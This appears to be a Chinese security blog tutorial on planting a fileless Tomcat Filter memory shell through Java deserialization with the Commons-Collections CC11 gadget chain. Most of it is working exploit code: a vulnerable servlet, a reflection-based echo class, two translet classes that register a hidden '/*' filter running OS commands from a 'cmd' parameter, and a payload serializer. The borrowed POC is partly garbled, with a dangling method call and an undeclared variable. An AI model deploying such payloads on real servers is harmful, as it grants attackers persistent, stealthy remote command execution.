Java反序列化打内存马
对于我们之前学习的Tomcat内存马,只算是做了一些简单的实验,并未能够完全应用,只能通过文件上传jsp的方式来注入内存马,也是存在文件落地的现象的,并非真正的内存马
所以这篇文章,我们来学习利用反序列化来实现真正的内存马注入,本文会使用CC11链来进行内存马的注入,实现真正的无文件落地内存马,在使用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方
回显技术
回显技术已经在之前的文章中说过,常用就分为以下几类:
- 半通用Tomcat回显
- Tomcat低版本全局存储回显
- Tomcat高版本全局存储回显
反序列化注入内存马
低版本Tomcat注入内存马
来简单捋一下注入内存马的思路
漏洞环境
这里使用WebApp项目,且使用低版本Tomcat
这里我们写一个简单的Servlet,模拟存在反序列化的点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.sermemshell;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream;
@WebServlet("/cc") public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = (InputStream) req; ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
|
半通用回显
这里使用Tomcat半通用回显,具体内容看Java回显技术
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package com.EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field; import java.lang.reflect.Modifier;
public class TomcatEcho extends AbstractTranslet {
static { try{ Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); Field modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.setAccessible(true); if(f.getBoolean(null) == Boolean.FALSE){ f.setBoolean(null,Boolean.TRUE); }
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null,new ThreadLocal()); }
f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null,new ThreadLocal()); } }catch (Exception e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
内存马注入
这里以Filter内存马为示例,获取 request 和 response,将命令执行结果写入response
自写POC
跟着师傅的博客,自己翻阅着笔记,写出来这么一个东西T^T,对于搭建的漏洞环境,起码是可以注入了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package com.EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.util.*;
public class TomcatInject extends AbstractTranslet implements Filter {
private final String cmdParamName="cmd"; private final static String filterUrl = "/*"; private final static String filterName="Sean";
static{ try{ ServletContext servletContext = getServletContext(); if (servletContext != null) { Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext); Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx); if (standardContext != null) { TomcatInject cmdFilter = new TomcatInject();
FilterDef def = new FilterDef(); def.setFilterName(filterName); def.setFilter(cmdFilter); def.setFilterClass(cmdFilter.getClass().getName());
FilterMap map = new FilterMap(); map.setFilterName(filterName); map.addURLPattern(filterUrl);
standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart(); } }
}catch (Exception e){ e.printStackTrace(); }
}
public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ServletRequest servletRequest = null; Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } if (servletRequest != null) { return servletRequest.getServletContext(); } return null; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(cmdParamName); if (cmd!= null && cmd != "") { InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(stream).useDelimiter("\\A"); String s = scanner.hasNext() ? scanner.next() : ""; PrintWriter writer = servletResponse.getWriter(); writer.write(s); writer.flush(); writer.close(); } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
}
|
拿来拿来
这里就借用DrunkBaby师傅的POC,还是DrunkBaby的全面,对于很多东西考虑感觉是我达不到的高度了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201
| package EXP; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse;
public class TomcatInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "Drunkbaby"; static { try { ServletContext servletContext = getServletContext(); if (servletContext != null){ Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext); Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx); if (standardContext != null){ Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); Filter myFilter =new TomcatInject(); javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); if (stateField != null){ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } if (standardContext != null){ filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext,null);
Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } } catch (Exception e) { e.printStackTrace(); } } private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } if (servletRequest == null) { try { c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) {} } if (servletRequest != null) return servletRequest.getServletContext(); try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) {} return null; } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
|
序列化数据生成
这里使用CC11的链子,这里我们只能使用动态加载字节码的方式来进行注入
我们使用CC11链子,分别生成半通用回显和内存马注入的两个存储着序列化数据的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| package com.EXP;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet;
@SuppressWarnings("all") public class CC11Template {
public static void main(String[] args) throws Exception { byte[] bytes = getBytes(); byte[][] targetByteCodes = new byte[][]{bytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser")); outputStream.writeObject(hashset); outputStream.close();
}catch(Exception e){ e.printStackTrace(); } }
public static byte[] getBytes() throws IOException {
InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\TomcatInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int n = 0; while ((n=inputStream.read())!=-1){ byteArrayOutputStream.write(n); } byte[] bytes = byteArrayOutputStream.toByteArray(); return bytes; }
public void filter(){
} }
|
反序列化注入
两者接注入即可,首先注入Tomcat半通用回显,其次注入Filter内存马



- 这一种反序列化注入内存马的方式,并且像shiro这种自带Filter的是无法打通的,如果使用shiro550打内存马,需要获取全局 response,并且根据Tomcat版本高低来打
内存马打Shiro550
通过全局存储 Response 回显来打
直接用KpLi0rn师傅的这个项目来打shiro内存马https://github.com/KpLi0rn/ShiroVulnEnv
首先通过注入tomcatHeader.ser
来绕过长度限制
最后用tomcatInject.ser
注入回显内存马
